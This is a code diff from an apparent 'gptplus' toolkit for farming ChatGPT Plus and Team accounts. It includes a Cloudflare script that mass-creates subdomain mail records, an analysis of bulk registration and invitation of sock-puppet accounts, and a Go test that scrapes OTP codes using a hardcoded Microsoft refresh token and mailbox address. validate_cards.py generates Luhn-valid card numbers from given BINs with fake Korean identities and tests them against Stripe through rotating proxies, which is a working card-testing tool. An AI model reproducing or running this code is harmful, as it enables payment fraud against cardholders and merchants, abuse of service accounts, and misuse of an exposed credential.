"""找出邮箱 DNS 记录不完整的子域名""" + # 收集所有子域名的记录 + sub_records = {} # subdomain -> {"mx": set(), "spf": bool, "dkim": bool} + mx_targets = {mx["content"] for mx in MX_RECORDS} + + for r in existing_records: + name = r["name"] + # 跳过主域本身的记录 + if name == domain: + continue + # 只关注 .domain 结尾的子域名 + if not name.endswith(f".{domain}"): + continue + + # 提取子域名部分 + sub_part = name[: -(len(domain) + 1)] + + # DKIM 记录: cf2024-1._domainkey.sub.domain + if sub_part.startswith("cf2024-1._domainkey."): + actual_sub = sub_part[len("cf2024-1._domainkey."):] + if actual_sub not in sub_records: + sub_records[actual_sub] = {"mx": set(), "spf": False, "dkim": False, "ids": []} + sub_records[actual_sub]["dkim"] = True + sub_records[actual_sub]["ids"].append(r["id"]) + continue + + # MX / TXT(SPF) 记录 + if sub_part not in sub_records: + sub_records[sub_part] = {"mx": set(), "spf": False, "dkim": False, "ids": []} + + if r["type"] == "MX" and r["content"] in mx_targets: + sub_records[sub_part]["mx"].add(r["content"]) + sub_records[sub_part]["ids"].append(r["id"]) + elif r["type"] == "TXT" and "spf1" in r.get("content", ""): + sub_records[sub_part]["spf"] = True + sub_records[sub_part]["ids"].append(r["id"]) + + # 判断完整性: 需要 3 MX + 1 SPF (+ 可选 DKIM) + incomplete = {} + complete = {} + for sub, info in sub_records.items(): + mx_count = len(info["mx"]) + is_complete = mx_count == 3 and info["spf"] + if has_dkim: + is_complete = is_complete and info["dkim"] + + if not is_complete and info["ids"]: # 有记录但不完整 + incomplete[sub] = info + elif is_complete: + complete[sub] = info + + return incomplete, complete + + +def delete_records_sync(client, zone_id, record_ids): + """同步删除 DNS 记录""" + success = 0 + failed = 0 + for rid in record_ids: + resp = client.delete(f"{CF_API_BASE}/zones/{zone_id}/dns_records/{rid}") + data = resp.json() + if data["success"]: + success += 1 + else: + print(f" 删除失败 {rid}: {data['errors']}") + failed += 1 + return success, failed + + +def cleanup_incomplete(client, zones): + """检查并清理不完整的子域名邮箱记录""" + # 选择域名 + print(f"\n选择要检查的域名 [1-{len(zones)}],多选用逗号分隔,输入 all 选择全部:") + while True: + choice = input(">>> ").strip().lower() + if choice == "all": + selected = zones[:] + break + parts = [p.strip() for p in choice.split(",") if p.strip()] + if all(p.isdigit() and 1 <= int(p) <= len(zones) for p in parts) and parts: + selected = [zones[int(p) - 1] for p in parts] + break + print("无效选择。") + + total_deleted = 0 + total_incomplete = 0 + + for zone in selected: + zone_id = zone["id"] + domain = zone["name"] + print(f"\n{'=' * 55}") + print(f" 检查域名: {domain}") + print(f"{'=' * 55}") + + existing = get_existing_records(client, zone_id) + incomplete, complete = find_incomplete_subdomains(existing, domain) + + print(f" 完整子域名: {len(complete)} 个") + print(f" 不完整子域名: {len(incomplete)} 个") + + if not incomplete: + print(" 没有不完整的记录,跳过。") + continue + + for sub, info in sorted(incomplete.items()): + mx_count = len(info["mx"]) + print(f" {sub}.{domain} MX:{mx_count}/3 SPF:{'有' if info['spf'] else '无'} DKIM:{'有' if info['dkim'] else '无'} 记录数:{len(info['ids'])}") + + total_incomplete += len(incomplete) + + if total_incomplete == 0: + print("\n所有域名记录都是完整的。") + return + + confirm = input(f"\n确认删除以上 {total_incomplete} 个不完整子域名的所有相关记录?[y/N]: ").strip().lower() + if confirm != "y": + print("已取消。") + return + + # 执行删除 + for zone in selected: + zone_id = zone["id"] + domain = zone["name"] + existing = get_existing_records(client, zone_id) + incomplete, _ = find_incomplete_subdomains(existing, domain) + + if not incomplete: + continue + + print(f"\n 删除 {domain} 的不完整记录...") + all_ids = [] + for info in incomplete.values(): + all_ids.extend(info["ids"]) + + success, failed = delete_records_sync(client, zone_id, all_ids) + total_deleted += success + print(f" 删除完成: 成功 {success}, 失败 {failed}") + + print(f"\n总计删除: {total_deleted} 条记录") + + +def export_email_suffixes(client, zones): + """导出解析完整的可用邮箱后缀列表""" + print(f"\n选择要导出的域名 [1-{len(zones)}],多选用逗号分隔,输入 all 选择全部:") + while True: + choice = input(">>> ").strip().lower() + if choice == "all": + selected = zones[:] + break + parts = [p.strip() for p in choice.split(",") if p.strip()] + if all(p.isdigit() and 1 <= int(p) <= len(zones) for p in parts) and parts: + selected = [zones[int(p) - 1] for p in parts] + break + print("无效选择。") + + all_suffixes = [] + + for zone in selected: + zone_id = zone["id"] + domain = zone["name"] + print(f"\n 检查 {domain} ...") + + existing = get_existing_records(client, zone_id) + incomplete, complete = find_incomplete_subdomains(existing, domain) + + # 主域如果有完整邮箱记录也算 + main_mx = set() + main_spf = False + for r in existing: + if r["name"] == domain: + if r["type"] == "MX" and r["content"] in {mx["content"] for mx in MX_RECORDS}: + main_mx.add(r["content"]) + elif r["type"] == "TXT" and "spf1" in r.get("content", ""): + main_spf = True + if len(main_mx) == 3 and main_spf: + all_suffixes.append(domain) + + # 完整的子域名 + for sub in sorted(complete.keys()): + all_suffixes.append(f"{sub}.{domain}") + + print(f" 完整: {len(complete)} 个子域名, 不完整: {len(incomplete)} 个") + + print(f"\n{'=' * 55}") + print(f" 可用邮箱后缀: {len(all_suffixes)} 个") + print(f"{'=' * 55}") + + # 打印数组格式 + import json + print(f"\n{json.dumps(all_suffixes, ensure_ascii=False)}") + + +def main(): + print("=" * 55) + print(" Cloudflare 二级域名邮箱 DNS 批量配置工具 (并发版)") + print("=" * 55) + + client = sync_client() + + # 主菜单 + print("\n功能选择:") + print(" [1] 批量创建子域名邮箱 DNS") + print(" [2] 检查并清理不完整的记录") + print(" [3] 导出可用邮箱后缀列表") + + while True: + mode = input("\n选择功能 [1-3]: ").strip() + if mode in ("1", "2", "3"): + break + print("无效选择。") + + # 1. 列出域名 + print("\n获取域名列表...") + zones = list_zones(client) + if not zones: + print("没有找到域名,请检查 API Token 权限。") + sys.exit(1) + + print(f"\n找到 {len(zones)} 个域名:") + for i, z in enumerate(zones): + print(f" [{i + 1}] {z['name']} (状态: {z['status']})") + + # 功能 2: 清理不完整记录 + if mode == "2": + cleanup_incomplete(client, zones) + client.close() + return + + # 功能 3: 导出可用邮箱后缀 + if mode == "3": + export_email_suffixes(client, zones) + client.close() + return + + # 2. 选择域名(支持多选) + print(f"\n选择域名 [1-{len(zones)}],多选用逗号分隔,输入 all 选择全部:") + while True: + choice = input(">>> ").strip().lower() + if choice == "all": + selected_zones = zones[:] + break + parts = [p.strip() for p in choice.split(",") if p.strip()] + if all(p.isdigit() and 1 <= int(p) <= len(zones) for p in parts) and parts: + selected_zones = [zones[int(p) - 1] for p in parts] + break + print("无效选择,请重试。") + + print(f"\n已选择 {len(selected_zones)} 个域名:") + for z in selected_zones: + print(f" - {z['name']}") + + # 3. 输入二级域名数量和前缀 + while True: + count = input("\n要创建多少个二级域名邮箱?: ").strip() + if count.isdigit() and int(count) > 0: + count = int(count) + break + print("请输入正整数。") + + print("\n前缀模式:") + print(" [1] 数字前缀 (mail1, mail2, mail3...)") + print(" [2] 字母前缀 (a, b, c...)") + print(" [3] 自定义前缀 (输入逗号分隔的列表)") + + while True: + prefix_choice = input("\n选择前缀模式 [1-3]: ").strip() + if prefix_choice in ("1", "2", "3"): + break + print("无效选择。") + + subdomains = [] + if prefix_choice == "1": + prefix = input("输入前缀 (默认 mail): ").strip() or "mail" + subdomains = [f"{prefix}{i}" for i in range(1, count + 1)] + elif prefix_choice == "2": + if count > 26: + print("字母前缀最多支持 26 个。") + sys.exit(1) + subdomains = [chr(ord('a') + i) for i in range(count)] + else: + custom = input("输入前缀列表 (逗号分隔): ").strip() + subdomains = [s.strip() for s in custom.split(",") if s.strip()] + if len(subdomains) != count: + print(f"警告:输入了 {len(subdomains)} 个前缀,与数量 {count} 不匹配,使用实际输入的。") + count = len(subdomains) + + # 4. DKIM 策略 + print("\nDKIM 策略:") + print(" [1] 复制主域 DKIM 记录") + print(" [2] 跳过 DKIM (只创建 MX + SPF)") + + while True: + dkim_choice = input("\n选择 DKIM 策略 [1-2]: ").strip() + if dkim_choice in ("1", "2"): + break + print("无效选择。") + + # 5. 对每个域名执行 + grand_total_success = 0 + grand_total_skipped = 0 + grand_total_failed = 0 + all_created_emails = [] + + for zi, zone in enumerate(selected_zones): + zone_id = zone["id"] + domain = zone["name"] + print(f"\n{'=' * 55}") + print(f" [{zi+1}/{len(selected_zones)}] 处理域名: {domain}") + print(f"{'=' * 55}") + + # DKIM + dkim_value = None + if dkim_choice == "1": + print(" 获取主域 DKIM 记录...") + dkim_value = get_dkim_record(client, zone_id, domain) + if dkim_value: + print(f" 找到 DKIM 记录 (长度: {len(dkim_value)})") + else: + print(" 未找到主域 DKIM 记录,将跳过 DKIM。") + + # 构建记录 + all_records = [] + for sub in subdomains: + all_records.extend(build_records_for_subdomain(domain, sub, dkim_value)) + print(f" 待创建: {len(all_records)} 条记录") + + # 去重 + print(" 检查已有 DNS 记录 (去重)...") + existing = get_existing_records(client, zone_id) + print(f" 已有记录: {len(existing)} 条") + + new_records, skipped = filter_existing(all_records, existing) + print(f" 跳过已存在: {skipped} 条") + print(f" 需新建: {len(new_records)} 条") + + grand_total_skipped += skipped + + if not new_records: + print(" 所有记录已存在,跳过此域名。") + continue + + # 并发创建 + print(f" 开始并发创建 (并发数: {MAX_CONCURRENCY})...") + start_time = time.time() + success, failed = asyncio.run(batch_create(zone_id, new_records)) + elapsed = time.time() - start_time + + grand_total_success += success + grand_total_failed += failed + + print(f" 完成!成功: {success}, 失败: {failed}, 耗时: {elapsed:.1f}s") + + for sub in subdomains: + all_created_emails.append(f"*@{sub}.{domain}") + + client.close() + + # 6. 总汇总 + print(f"\n{'=' * 55}") + print(f" 全部完成!") + print(f" 域名数: {len(selected_zones)} 个") + print(f" 子域名数: {count} x {len(selected_zones)} = {count * len(selected_zones)} 个") + print(f" 成功: {grand_total_success} 条") + print(f" 跳过: {grand_total_skipped} 条") + print(f" 失败: {grand_total_failed} 条") + print(f"{'=' * 55}") + + if grand_total_success > 0: + print("\n注意: 还需要在 Cloudflare Email Routing 中配置转发规则才能收邮件。") + + +if __name__ == "__main__": + main() diff --git a/tools/team_invite_analysis.md b/tools/team_invite_analysis.md new file mode 100644 index 0000000..22a08d0 --- /dev/null +++ b/tools/team_invite_analysis.md @@ -0,0 +1,99 @@ +# Team 邀请小号流程分析报告 + +## 1. 邀请流程 (Phase-7) + +完整流程在 `cmd/gptplus/main.go` 第 582-718 行: + +``` +Team 创建成功 → 获取 workspace token → 循环 invite_count 次: + 1. 创建新 HTTP client (带独立代理 session) + 2. 调用 auth.Register() 注册新账号 ← 消耗一个邮箱 + 3. 调用 chatgpt.InviteToTeam() 发送邀请 (POST /backend-api/accounts/{id}/invites) + 4. 成员登录获取 token + 5. 调用 auth.ObtainCodexTokens() 获取 Team 作用域 token (最多重试 3 次) + 6. 保存成员 auth 文件 +``` + +邀请 API: `POST /backend-api/accounts/{team_account_id}/invites` +- payload: `{"email_addresses": ["xxx@outlook.com"], "role": "standard-user", "resend_emails": true}` +- 需要 workspace-scoped access token + +**注意:当前流程只发送邀请,没有"接受邀请"的步骤。** 成员注册后直接通过 `ObtainCodexTokens` 获取 Team token,假设邀请自动生效(因为是 admin 邀请已注册邮箱)。 + +--- + +## 2. 小号获取邮件的逻辑 + +### 当前行为 +小号注册时调用的是**同一个 `emailProv`**(第 618 行): +```go +memberRegResult, memberRegErr := auth.Register(ctx, memberClient, emailProv, memberPassword) +``` + +`auth.Register()` 内部会调用 `emailProv.CreateMailbox()` 获取邮箱,然后调用 `emailProv.WaitForVerificationCode()` 获取 OTP。 + +### 有没有问题? +**之前有问题(已修复):** `WaitForVerificationCode` 使用的 `$filter` 查询被 Outlook REST API 拒绝(InefficientFilter),导致永远拿不到 OTP。现在已改为无 filter + 客户端过滤。 + +**潜在问题:** 无 filter 模式下拉取最近 10 封邮件,如果多个小号同时注册,收件箱里会有多封 OTP 邮件。由于有 `notBefore` 时间过滤 + `$orderby=ReceivedDateTime+desc`(最新优先),且代码取到第一个匹配的 OTP 就返回,所以**正常情况下不会混淆**。但如果两个小号在同一秒内收到 OTP,理论上可能取错(概率极低,因为是串行注册)。 + +--- + +## 3. 小号是否遵循邮箱设定(Outlook)? + +**是的。** 小号使用的是同一个 `emailProv` 实例: + +- 主账号和所有小号共享同一个 `OutlookProvider` +- 每次 `CreateMailbox()` 调用会返回 `accounts[nextIdx]` 并递增 `nextIdx` +- 所以小号注册时会**按顺序消耗 outmail.txt 中的 Outlook 账号** + +如果配置是 `email.provider: "outlook"`,所有小号都会用 Outlook 邮箱。 + +--- + +## 4. 邮箱消耗顺序问题(核心问题) + +### 场景 +- outmail.txt 有 10 个邮箱 (索引 0-9) +- `invite_count: 4` +- 第一次运行:邮箱 #0 注册 Plus → Team 成功 → 邀请 4 个小号 + +### 当前行为 +``` +邮箱 #0 → 主账号注册 (CreateMailbox, nextIdx: 0→1) +邮箱 #1 → 小号1注册 (CreateMailbox, nextIdx: 1→2) +邮箱 #2 → 小号2注册 (CreateMailbox, nextIdx: 2→3) +邮箱 #3 → 小号3注册 (CreateMailbox, nextIdx: 3→4) +邮箱 #4 → 小号4注册 (CreateMailbox, nextIdx: 4→5) +``` + +**一次完整运行消耗 5 个邮箱(1 主 + 4 小号)。** + +### 下一次运行会怎样? + +**会从邮箱 #0 重新开始,不是 #5。** + +原因:`OutlookProvider.nextIdx` 是内存变量,每次程序启动时初始化为 0。没有持久化记录哪些邮箱已经用过。 + +```go +// NewOutlookProvider 每次创建时 nextIdx = 0 +return &OutlookProvider{ + accounts: accounts, +}, nil +``` + +### 后果 +- 第二次运行会尝试用邮箱 #0 注册,但 #0 已经注册过 → **注册失败** +- 如果 OpenAI 返回的是 "Failed to register username" 而不是 "email already exists",程序无法区分 +- 需要手动从 outmail.txt 删除已用过的邮箱,或者实现已用邮箱的持久化追踪 + +--- + +## 5. 问题汇总与建议 + +| # | 问题 | 严重度 | 建议 | +|---|------|--------|------| +| 1 | **nextIdx 不持久化**:重启后从 #0 开始,已用邮箱会重复注册失败 | 🔴 高 | 用文件记录已用邮箱索引,或注册成功后从 outmail.txt 中移除 | +| 2 | **无接受邀请步骤**:依赖 ObtainCodexTokens 自动加入 | 🟡 中 | 目前看起来可行,但可能需要验证在某些情况下是否需要显式 accept | +| 3 | **OTP 串号风险**:多小号共用收件箱时理论上可能取错 OTP | 🟢 低 | 串行注册 + notBefore 过滤已足够,暂不需处理 | +| 4 | **Outlook filter 已修复** | ✅ | 已改为无 filter + 客户端过滤 | diff --git a/tools/test_outlook.go b/tools/test_outlook.go new file mode 100644 index 0000000..019d9a9 --- /dev/null +++ b/tools/test_outlook.go @@ -0,0 +1,161 @@ +package main + +import ( + "encoding/json" + "fmt" + "io" + "net/http" + "net/url" + "regexp" + "strings" + "time" +) + +const ( + msTokenURL = "https://login.microsoftonline.com/common/oauth2/v2.0/token" + outlookMailURL = "https://outlook.office.com/api/v2.0/me/mailFolders/inbox/messages" +) + +func main() { + clientID := "9e5f94bc-e8a4-4e73-b8be-63364c29d753" + refreshToken := "M.C502_SN1.0.U.-Crvsmbp5ATQIkZ3hocv9p7Z2X5!OXVJHdHa72LcvvI0vL89DBJ3O6CU!j07BU3A9kAJlFQcYVE*wmp!riMOJXBdeMvgB9xuF0duYbb8*M8qCnYGkX196K0z5CMhkHOOSahXbHkWN0cI685XA4z27rPYPOcGylHZdax1K0wF6N4kSxe*eoXn0dYL9wMPe1oC3vQ62B1EYECpaqqpfIKfKqhBpkbQ74up272uhiMvlRkYiD6ZCxL1aSeHg*aRiXGP4XfWWojKHN5rBqcXCXTRTGqw4r1Zij!RDXSBPBucjlL2uUSgPUu4H!UzEIQntGU2DeTGqecwk*XiJhLiic*RbrQliU9wQ!8J36Cc2grdSbeF9TeCHp!H6FC!qS40rekL31ZPFSunD8sJ*dQTOxPH9qC9ErHeoHvREFh0ypy4pa!!h5!15vvtwAPZgEcxcg2qSiA$$" + email := "frher9601@outlook.com" + + fmt.Printf("=== Outlook REST API - No-Filter Strategy Test ===\n") + fmt.Printf("Account: %s\n\n", email) + + // Step 1: Get access token + fmt.Println("[1] Exchanging refresh token...") + accessToken, err := exchangeToken(clientID, refreshToken) + if err != nil { + fmt.Printf(" FAILED: %v\n", err) + return + } + fmt.Printf(" OK: access_token (%d chars)\n\n", len(accessToken)) + + // Step 2: Fetch recent emails WITHOUT any filter (the fix) + fmt.Println("[2] Fetching recent 10 emails (no $filter)...") + reqURL := fmt.Sprintf("%s?$top=10&$orderby=ReceivedDateTime+desc&$select=Subject,BodyPreview,ReceivedDateTime,From", + outlookMailURL) + + req, _ := http.NewRequest("GET", reqURL, nil) + req.Header.Set("Authorization", "Bearer "+accessToken) + req.Header.Set("Content-Type", "application/json") + + client := &http.Client{Timeout: 15 * time.Second} + resp, err := client.Do(req) + if err != nil { + fmt.Printf(" FAILED: %v\n", err) + return + } + body, _ := io.ReadAll(resp.Body) + resp.Body.Close() + + if resp.StatusCode != 200 { + fmt.Printf(" FAILED (HTTP %d): %s\n", resp.StatusCode, string(body)[:min(len(body), 300)]) + return + } + + var result struct { + Value []struct { + Subject string `json:"Subject"` + BodyPreview string `json:"BodyPreview"` + ReceivedDateTime string `json:"ReceivedDateTime"` + From struct { + EmailAddress struct { + Address string `json:"Address"` + } `json:"EmailAddress"` + } `json:"From"` + } `json:"value"` + } + json.Unmarshal(body, &result) + fmt.Printf(" OK: %d emails returned\n\n", len(result.Value)) + + // Step 3: Client-side filter simulation + fmt.Println("[3] Client-side filtering (simulating fixed code)...") + notBefore := time.Now().Add(-48 * time.Hour) // last 48h + otpRegexp := regexp.MustCompile(`\b(\d{6})\b`) + + foundOTP := "" + for i, e := range result.Value { + sender := strings.ToLower(e.From.EmailAddress.Address) + preview := e.BodyPreview + if len(preview) > 80 { + preview = preview[:80] + "..." + } + fmt.Printf(" [%d] from=%-45s subj=%q\n", i, sender, e.Subject) + + // Filter: must be from OpenAI + if !strings.Contains(sender, "openai") { + fmt.Printf(" -> SKIP (not openai)\n") + continue + } + + // Filter: time check + if e.ReceivedDateTime != "" { + if t, err := time.Parse("2006-01-02T15:04:05Z", e.ReceivedDateTime); err == nil { + if t.Before(notBefore) { + fmt.Printf(" -> SKIP (too old: %s)\n", e.ReceivedDateTime) + continue + } + } + } + + // Extract OTP + if m := otpRegexp.FindStringSubmatch(e.Subject); len(m) >= 2 { + foundOTP = m[1] + fmt.Printf(" -> OTP from subject: %s\n", foundOTP) + break + } + if m := otpRegexp.FindStringSubmatch(e.BodyPreview); len(m) >= 2 { + foundOTP = m[1] + fmt.Printf(" -> OTP from body: %s\n", foundOTP) + break + } + fmt.Printf(" -> OpenAI email but no OTP found\n") + } + + fmt.Println() + if foundOTP != "" { + fmt.Printf("=== SUCCESS: OTP = %s ===\n", foundOTP) + } else { + fmt.Println("=== No OTP found (no recent OpenAI email in inbox) ===") + } +} + +func exchangeToken(clientID, refreshToken string) (string, error) { + data := url.Values{ + "client_id": {clientID}, + "grant_type": {"refresh_token"}, + "refresh_token": {refreshToken}, + } + client := &http.Client{Timeout: 15 * time.Second} + resp, err := client.PostForm(msTokenURL, data) + if err != nil { + return "", err + } + defer resp.Body.Close() + body, _ := io.ReadAll(resp.Body) + if resp.StatusCode != 200 { + cut := len(body) + if cut > 300 { + cut = 300 + } + return "", fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(body)[:cut]) + } + var tokenResp struct { + AccessToken string `json:"access_token"` + } + json.Unmarshal(body, &tokenResp) + if tokenResp.AccessToken == "" { + return "", fmt.Errorf("no access_token in response") + } + return tokenResp.AccessToken, nil +} + +func min(a, b int) int { + if a < b { + return a + } + return b +} diff --git a/tools/validate_cards.py b/tools/validate_cards.py new file mode 100644 index 0000000..5ad81f8 --- /dev/null +++ b/tools/validate_cards.py @@ -0,0 +1,292 @@ +#!/usr/bin/env python3 +""" +Card Pre-Validator — Generate and validate cards via Stripe /v1/tokens. +Saves valid cards to a file for use by the main gptplus pipeline. + +Usage: + python validate_cards.py --count 3000 --concurrency 20 --output valid_cards.txt + python validate_cards.py --count 1000 --pk pk_live_xxx --bin 6258142602 +""" + +import argparse +import asyncio +import random +import time +import sys +from datetime import datetime, timedelta + +try: + import aiohttp +except ImportError: + print("需要安装 aiohttp: pip install aiohttp") + sys.exit(1) + +# ─── Default Config ─── + +DEFAULT_BINS = ["6258142602", "62581717"] +DEFAULT_COUNTRY = "KR" +DEFAULT_CURRENCY = "KRW" +STRIPE_TOKENS_URL = "https://api.stripe.com/v1/tokens" + +# Korean address data for random generation +KOREAN_CITIES = [ + ("Seoul", "서울특별시", "11"), + ("Busan", "부산광역시", "26"), + ("Incheon", "인천광역시", "28"), + ("Daegu", "대구광역시", "27"), + ("Daejeon", "대전광역시", "30"), + ("Gwangju", "광주광역시", "29"), + ("Suwon", "경기도", "41"), + ("Seongnam", "경기도", "41"), +] + +KOREAN_STREETS = [ + "Gangnam-daero", "Teheran-ro", "Sejong-daero", "Eulji-ro", + "Jongno", "Hangang-daero", "Dongho-ro", "Yeoksam-ro", + "Apgujeong-ro", "Sinsa-dong", "Nonhyeon-ro", "Samseong-ro", +] + +KOREAN_NAMES = [ + "Kim Min Jun", "Lee Seo Yeon", "Park Ji Hoon", "Choi Yuna", + "Jung Hyun Woo", "Kang Soo Jin", "Yoon Tae Yang", "Lim Ha Eun", + "Han Seung Ho", "Shin Ye Rin", "Song Jae Min", "Hwang Mi Rae", + "Bae Dong Hyun", "Jeon So Hee", "Ko Young Jun", "Seo Na Yeon", +] + +KOREAN_ZIPS = [ + "06010", "06134", "06232", "06611", "07258", "08502", "04778", + "05502", "03181", "02578", "01411", "04516", "05854", "06775", +] + + +# ─── Card Generation ─── + +def luhn_check_digit(partial: str) -> str: + """Calculate Luhn check digit for a partial card number.""" + digits = [int(d) for d in partial] + # Double every second digit from right (starting from the rightmost) + for i in range(len(digits) - 1, -1, -2): + digits[i] *= 2 + if digits[i] > 9: + digits[i] -= 9 + total = sum(digits) + check = (10 - (total % 10)) % 10 + return str(check) + + +def generate_card(bins: list[str]) -> dict: + """Generate a random card number with valid Luhn checksum.""" + bin_prefix = random.choice(bins) + total_len = 16 + fill_len = total_len - len(bin_prefix) - 1 # -1 for check digit + + partial = bin_prefix + "".join([str(random.randint(0, 9)) for _ in range(fill_len)]) + check = luhn_check_digit(partial) + number = partial + check + + # Random expiry 12-48 months from now + future = datetime.now() + timedelta(days=random.randint(365, 365 * 4)) + exp_month = f"{future.month:02d}" + exp_year = str(future.year) + + # Random CVC + cvc = f"{random.randint(0, 999):03d}" + + # Random Korean identity + city_data = random.choice(KOREAN_CITIES) + name = random.choice(KOREAN_NAMES) + street_num = random.randint(1, 300) + street = random.choice(KOREAN_STREETS) + zip_code = random.choice(KOREAN_ZIPS) + + return { + "number": number, + "exp_month": exp_month, + "exp_year": exp_year, + "cvc": cvc, + "name": name, + "country": DEFAULT_COUNTRY, + "currency": DEFAULT_CURRENCY, + "address": f"{street_num} {street}", + "city": city_data[0], + "state": city_data[2], + "postal_code": zip_code, + } + + +# ─── Stripe Validation ─── + +def _rotate_proxy(proxy_template: str) -> str: + """Generate a unique proxy URL by replacing session placeholder with random value. + e.g. 'http://USER-session-{SESSION}-xxx:pass@host:port' → unique session per request.""" + if not proxy_template: + return "" + if "{SESSION}" in proxy_template: + session_id = f"{random.randint(100000, 999999)}" + return proxy_template.replace("{SESSION}", session_id) + # If no {SESSION} placeholder, append random session to avoid same IP + return proxy_template + + +async def validate_card(session: aiohttp.ClientSession, card: dict, pk: str, proxy_template: str, semaphore: asyncio.Semaphore) -> tuple[dict, bool, str]: + """Validate a card via Stripe /v1/tokens. Each request gets a unique proxy IP.""" + async with semaphore: + # Rotate proxy — each request gets a different IP + proxy = _rotate_proxy(proxy_template) + + data = { + "card[number]": card["number"], + "card[exp_month]": card["exp_month"], + "card[exp_year]": card["exp_year"], + "card[cvc]": card["cvc"], + "card[name]": card["name"], + "card[address_country]": card["country"], + "card[address_line1]": card["address"], + "card[address_city]": card["city"], + "card[address_state]": card["state"], + "card[address_zip]": card["postal_code"], + } + + headers = { + "Content-Type": "application/x-www-form-urlencoded", + "Origin": "https://js.stripe.com", + "Referer": "https://js.stripe.com/", + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36", + } + + try: + async with session.post( + f"{STRIPE_TOKENS_URL}?key={pk}", + data=data, + headers=headers, + proxy=proxy if proxy else None, + timeout=aiohttp.ClientTimeout(total=15), + ) as resp: + body = await resp.json() + + if resp.status == 200 and "id" in body: + return card, True, "" + + # Extract error + err = body.get("error", {}) + code = err.get("code", "unknown") + msg = err.get("message", str(body)) + return card, False, f"{code}: {msg}" + + except asyncio.TimeoutError: + return card, False, "timeout" + except Exception as e: + return card, False, str(e) + + +def card_to_line(card: dict) -> str: + """Format card as pipe-delimited line (same format as success_cards.txt).""" + return "|".join([ + card["number"], card["exp_month"], card["exp_year"], card["cvc"], + card["name"], card["country"], card["currency"], + card["address"], card["city"], card["state"], card["postal_code"], + ]) + + +# ─── Main ─── + +async def main(): + parser = argparse.ArgumentParser(description="Card Pre-Validator via Stripe /v1/tokens") + parser.add_argument("--count", type=int, default=1000, help="Number of cards to generate and test") + parser.add_argument("--concurrency", type=int, default=20, help="Concurrent validation requests") + parser.add_argument("--output", type=str, default="valid_cards.txt", help="Output file for valid cards") + parser.add_argument("--pk", type=str, required=True, help="Stripe publishable key (pk_live_xxx)") + parser.add_argument("--bin", type=str, default="", help="Custom BIN prefix (comma-separated for multiple)") + parser.add_argument("--proxy", type=str, default="", help="Korean proxy URL (e.g. http://user:pass@host:port)") + args = parser.parse_args() + + bins = DEFAULT_BINS + if args.bin: + bins = [b.strip() for b in args.bin.split(",")] + + proxy = args.proxy or "" + + print(f"=== Card Pre-Validator ===") + print(f"生成: {args.count} 张") + print(f"并发: {args.concurrency}") + print(f"BIN: {bins}") + print(f"代理: {proxy if proxy else '无 (直连)'}") + print(f"输出: {args.output}") + print() + + # Generate all cards first + print(f"▶ 生成 {args.count} 张卡...") + cards = [generate_card(bins) for _ in range(args.count)] + print(f"✓ 生成完毕") + + # Validate concurrently + semaphore = asyncio.Semaphore(args.concurrency) + valid_cards = [] + invalid_count = 0 + error_counts = {} + + start_time = time.time() + + async with aiohttp.ClientSession() as session: + tasks = [validate_card(session, card, args.pk, proxy, semaphore) for card in cards] + + print(f"▶ 开始验证 (并发={args.concurrency})...") + + done = 0 + for coro in asyncio.as_completed(tasks): + card, is_valid, err_msg = await coro + done += 1 + + if is_valid: + valid_cards.append(card) + last4 = card["number"][-4:] + print(f" ✓ [{done}/{args.count}] ...{last4} 有效 (累计有效: {len(valid_cards)})") + else: + invalid_count += 1 + # Track error types + err_type = err_msg.split(":")[0] if ":" in err_msg else err_msg + error_counts[err_type] = error_counts.get(err_type, 0) + 1 + + # Print progress every 100 or on interesting errors + if done % 100 == 0 or done == args.count: + elapsed = time.time() - start_time + rate = done / elapsed if elapsed > 0 else 0 + print(f" → [{done}/{args.count}] 有效={len(valid_cards)} 无效={invalid_count} ({rate:.1f}/s)") + + elapsed = time.time() - start_time + + # Save valid cards + if valid_cards: + with open(args.output, "w") as f: + for card in valid_cards: + f.write(card_to_line(card) + "\n") + + # Summary + print() + print(f"╔══════════════════════════════════════╗") + print(f"║ 验证结果汇总 ║") + print(f"╠══════════════════════════════════════╣") + print(f"║ 总计: {args.count:>6} 耗时: {elapsed:.1f}s ║") + print(f"║ 有效: {len(valid_cards):>6} ({len(valid_cards)/args.count*100:.1f}%) ║") + print(f"║ 无效: {invalid_count:>6} ║") + print(f"║ 速率: {args.count/elapsed:.1f}/s ║") + print(f"║ 输出: {args.output:<30s}║") + print(f"╚══════════════════════════════════════╝") + + if error_counts: + print(f"\n错误分布:") + for err, count in sorted(error_counts.items(), key=lambda x: -x[1]): + print(f" {err}: {count}") + + print(f"\n有效卡片已保存到 {args.output}") + print(f"在 config.yaml 中使用:") + print(f" card:") + print(f" provider: file") + print(f" file:") + print(f" path: {args.output}") + print(f" default_country: KR") + print(f" default_currency: KRW") + + +if __name__ == "__main__": + asyncio.run(main()) diff --git a/web/embed.go b/web/embed.go new file mode 100644 index 0000000..042f5a4 --- /dev/null +++ b/web/embed.go @@ -0,0 +1,13 @@ +package web + +import ( + "embed" + "io/fs" +) + +//go:embed all:frontend/dist +var frontendFS embed.FS + +func FrontendFS() (fs.FS, error) { + return fs.Sub(frontendFS, "frontend/dist") +} diff --git a/web/frontend/env.d.ts b/web/frontend/env.d.ts new file mode 100644 index 0000000..323c78a --- /dev/null +++ b/web/frontend/env.d.ts @@ -0,0 +1,7 @@ +/// + +declare module '*.vue' { + import type { DefineComponent } from 'vue' + const component: DefineComponent<{}, {}, any> + export default component +} diff --git a/web/frontend/index.html b/web/frontend/index.html new file mode 100644 index 0000000..28bfc8d --- /dev/null +++ b/web/frontend/index.html @@ -0,0 +1,13 @@ + + + + + + + GPT-Plus 管理面板 + + +
